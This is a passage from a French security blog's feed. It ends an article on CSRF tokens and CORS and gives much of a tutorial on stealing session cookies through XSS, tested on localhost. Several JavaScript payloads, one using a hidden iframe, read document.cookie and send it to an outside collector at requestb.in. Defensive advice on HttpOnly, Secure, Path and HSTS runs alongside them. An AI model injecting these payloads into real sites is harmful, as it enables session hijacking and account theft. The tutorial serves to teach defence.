Au vu de la multiplicité des requêtes asynchrones, il convient de positionner un token CSRF unique (à éviter en tant que cookie car devra être en httpOnly pour des requêtes xhr), et de rajouter ce token en tant que header (exemple X-XSRF-TOKEN: a0ed8d95-5694-4b77-853c-b04677677722) dans la requête, header qui sera vérifié coté serveur. Cet en-tête non standard permet également le déclenchement d’une requête préliminaire (OPTIONS) pour vérifier si l’origine de la requête est autoriséé.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Conclusion :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nous avons vu que les vecteurs d’attaques sont multiples sur les applications Web. Vous devez mettre en place toutes les mesures pour sécuriser les sessions de vos utilisateurs (assainissement des input, response headers de sécurité, sécurisation des cookies, token CSRF, bannissement du CORS côté serveur). Eprouvez votre application avec les outils nécessaires (&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework&quot;&gt;Xenotix&lt;/a&gt;), regardez quels sont les headers envoyés et reçus directement dans votre navigateur ou grâce à un proxy comme &lt;a href=&quot;https://portswigger.net/burp/&quot;&gt;Burp Suite&lt;/a&gt; ou &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&quot;&gt;Owasp ZAP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Nous verrons dans un prochain article comment utiliser les techniques vu précédemment dans une attaque Man In The Middle. Imaginez qu’un pirate se positionne entre vous et le site web : toutes les protections abordées précédemment seront indispensables pour éviter l’interception en clair de votre trafic et le vol de vos sessions. Pensez à l’injection d’un payload Javascript dans une ressource quelconque non sécurisée qui effectuerait une requête &lt;strong&gt;cross-site withCredentials&lt;/strong&gt; sur du &lt;strong&gt;HTTP&lt;/strong&gt; (non over SSL - ceci possible si cookie avec le flag &lt;strong&gt;Secure&lt;/strong&gt; absent)…&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;hsts&quot;&gt;&lt;/a&gt;C’est à ce niveau que le response header &lt;a href=&quot;https://https.cio.gov/hsts/&quot;&gt;HSTS&lt;/a&gt; est primordial, car une ressource en cache dans le navigateur ayant le HSTS de positionné indiquera au navigateur que toute requête sur le domaine de cette ressource fera l’objet d’une redirection interne (307 Internal Redirect). Nous aborderons ce cas pratique identifié sur un site pour montrer que la protection HSTS est ici le dernier recours au vol de session lors d’une attaque MITM si le cookie n’est pas sécurisé (flag &lt;strong&gt;Secure&lt;/strong&gt;). Ceci nous prouve que chaque protection doit être mise en place pour contrecarrer toutes les combinaisons d’attaques.&lt;/p&gt;

&lt;p&gt;A bientôt.
&lt;br /&gt;
&lt;br /&gt;
Références :&lt;br /&gt;
&lt;a href=&quot;https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS&quot;&gt;https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.w3.org/TR/cors/&quot;&gt;https://www.w3.org/TR/cors/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://fr.wikipedia.org/wiki/Cross-Site_Request_Forgery&quot;&gt;https://fr.wikipedia.org/wiki/Cross-Site_Request_Forgery&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://tomcat.apache.org/tomcat-8.0-doc/config/filter.html&quot;&gt;https://tomcat.apache.org/tomcat-8.0-doc/config/filter.html&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>XSS, CORS, CSRF (Partie 2)</title>
   <link href="https://phackt.org/xss-cors-csrf-partie-2-xss-cookies-session"/>
   <updated>2016-08-15T00:00:00+00:00</updated>
   <id>https://phackt.org/xss-cors-csrf-partie-2-xss-cookies-session</id>
   <content type="html">&lt;h3 id=&quot;xss--et-vol-de-cookies-par-la-pratique&quot;&gt;XSS  et vol de cookies par la pratique.&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vous reprendrez bien un cookie ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Dans le &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-1-xss&quot;&gt;premier volet&lt;/a&gt; de notre saga, nous traitions des attaques XSS et des moyens de s’en prémunir. Ces vulnérabilités peuvent être utilisées pour voler vos informations de session ou vous rediriger vers un site frauduleux. Vous vous dîtes sûrement : “ok coco en théorie c’est bien sympa tout ça, mais en quoi consiste le vol d’une session, quelles informations sont envoyées et où part la requête ?”.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;Imaginons la configuration suivante :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/xss-cors-csrf/cors_1.png&quot; alt=&quot;Configuration de l&apos;attaque&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Un internaute requête le site &lt;em&gt;www.site-a.com&lt;/em&gt; qui est un site de confiance mais vulnérable au XSS. Un pirate pourra injecter le code suivant :&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Juste un petit coucou !
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://requestb.in/w7iy5sw7?cookie=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;encodeURI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour notre test nous partirons sur le postulat que &lt;em&gt;www.site-a.com&lt;/em&gt; est notre &lt;em&gt;localhost&lt;/em&gt;, et que &lt;em&gt;www.site-b.com&lt;/em&gt; (le site du pirate qui récupère les infos) correspond au site &lt;em&gt;http://requestb.in&lt;/em&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Le site &lt;strong&gt;http://requestb.in&lt;/strong&gt; est très utile pour analyser les requêtes HTTP.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lorsque le script est exécuté, ce dernier accède au &lt;strong&gt;document.cookie&lt;/strong&gt; qui correspond au cookie du document HTML courant contenant l’id de session. Ce dernier peut ressembler à ceci :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/xss-cors-csrf/cors_2.png&quot; alt=&quot;Exemple cookie 1&quot; /&gt;&lt;br /&gt;
Ou bien ceci :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/xss-cors-csrf/cors_3.png&quot; alt=&quot;Exemple cookie 2&quot; /&gt;&lt;br /&gt;
Nous reviendrons sur ce dernier cas par la suite car ce dernier est un cookie sécurisé. Je vous recommande sous Chrome d’installer l’extension &lt;a href=&quot;https://chrome.google.com/webstore/detail/cookie-inspector/jgbbilmfbammlbbhmmgaagdkbkepnijn&quot;&gt;Cookie Inspector&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Pour nos tests voici la configuration mise en place :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Une page &lt;em&gt;http://localhost/secu/cookie.php&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;PHPSESSID_secure&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;jm5mah0a9uuf4g344096nled73&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/secu&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;SERVER_NAME&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HTTPS&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]),&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;PHPSESSID_unsecured&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;jm5mah0a9uuf4g344096nled73&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;SERVER_NAME&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;Vous ne pouvez pas définir de cookie pour un autre domaine.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Les cookies générés (deux cookies à des fins de test):&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/xss-cors-csrf/cors_4.png&quot; alt=&quot;Configuration cookies test&quot; /&gt;&lt;br /&gt;
Les champs &lt;a href=&quot;https://tools.ietf.org/html/rfc6265&quot;&gt;Domain, Path, HTTP et Secure&lt;/a&gt; sont les champs qui permettront de sécuriser notre cookie:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;domain&lt;/strong&gt; : le domaine racine concerné par le cookie&lt;br /&gt;
&lt;strong&gt;path&lt;/strong&gt; : détermine pour quelle arborescence à partir du domaine racine le cookie sera accessible&lt;br /&gt;
&lt;strong&gt;session.cookie_httponly&lt;/strong&gt; : empêche un cookie d’être accessible via javascript (XSS ;))&lt;br /&gt;
&lt;strong&gt;session.cookie_secure&lt;/strong&gt; : accède au cookie uniquement sur des connexions HTTPS (empêche les informations de transiter en clair – voir également la solution &lt;a href=&quot;https://developer.mozilla.org/fr/docs/S%C3%A9curit%C3%A9/HTTP_Strict_Transport_Security&quot;&gt;HSTS&lt;/a&gt;)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Une page vulnérable &lt;em&gt;http://localhost/xss.php&lt;/em&gt; qui contient le payload vu précédemment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ce cookie est envoyé via une requête &lt;strong&gt;XMLHttpRequest&lt;/strong&gt; sur &lt;em&gt;requestb.in&lt;/em&gt;. Regardons quelles informations sont réceptionnées :&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/xss-cors-csrf/cors_5.png&quot; alt=&quot;Requestb.in get data&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nous récupérons bien l’id de session de notre cookie non sécurisé uniquement. Ceci a été possible car :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Faille &lt;strong&gt;XSS&lt;/strong&gt; ayant permis l’injection de javascript&lt;/li&gt;
  &lt;li&gt;Cookie avec le flag &lt;strong&gt;HttpOnly&lt;/strong&gt; à false&lt;/li&gt;
  &lt;li&gt;Requête &lt;strong&gt;Cross-Origin&lt;/strong&gt; simple sur le site du pirate pour récupération des informations&lt;/li&gt;
  &lt;li&gt;Cookie avec un &lt;strong&gt;Path&lt;/strong&gt; permissif (toute l’arborescence du site)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il convient de définir un path pour lequel le cookie doit être actif, dans notre exemple un espace sécurisé &lt;em&gt;/secu&lt;/em&gt; qui sollicite le cookie session. Ainsi notre page publique vulnérable &lt;em&gt;xss.php&lt;/em&gt; à la racine &lt;em&gt;/&lt;/em&gt; n’aurait pas été en mesure d’accéder au cookie. Modifions le path de notre cookie unsecured :&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;PHPSESSID_unsecured&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;jm5mah0a9uuf4g344096nled73&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/secu&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;SERVER_NAME&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et si maintenant nous tentions dans notre payload (depuis la page &lt;em&gt;http://localhost/xss.php&lt;/em&gt;) d’accéder à la page &lt;em&gt;http://localhost/secu/cookie.php&lt;/em&gt;, de lui voler son cookie et de nous l’envoyer :&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;    
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onreadystatechange&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readyState&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getResponseHeader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Set-Cookie&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;   
				
			&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xhr2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;xhr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://requestb.in/w7iy5sw7?cookie=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;encodeURI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;xhr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;	
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://localhost/secu/cookie.php&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;		  
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Malheureusement nous obtenons : &lt;span style=&quot;color: red&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Refused to get unsafe header &quot;Set-Cookie&quot;&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;La spécification &lt;strong&gt;XMLHttpRequest&lt;/strong&gt; interdit l’accès à certains response headers pour des raisons de sécurité. Les navigateurs chrome / firefox / IE retourneront donc null (&lt;a href=&quot;https://fetch.spec.whatwg.org/#forbidden-header-name&quot;&gt;https://fetch.spec.whatwg.org/#forbidden-header-name&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;iframe&quot;&gt;&lt;/a&gt;N’y-a-t-il pas une autre méthode que notre XHR pour charger cookie.php?&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;    
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iframe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://localhost/secu/cookie.php&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hidden&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;            
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iframeObj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;iframeObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;            
		&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iframeObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentDocument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://requestb.in/w7iy5sw7?cookie=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;encodeURI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;          	  
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

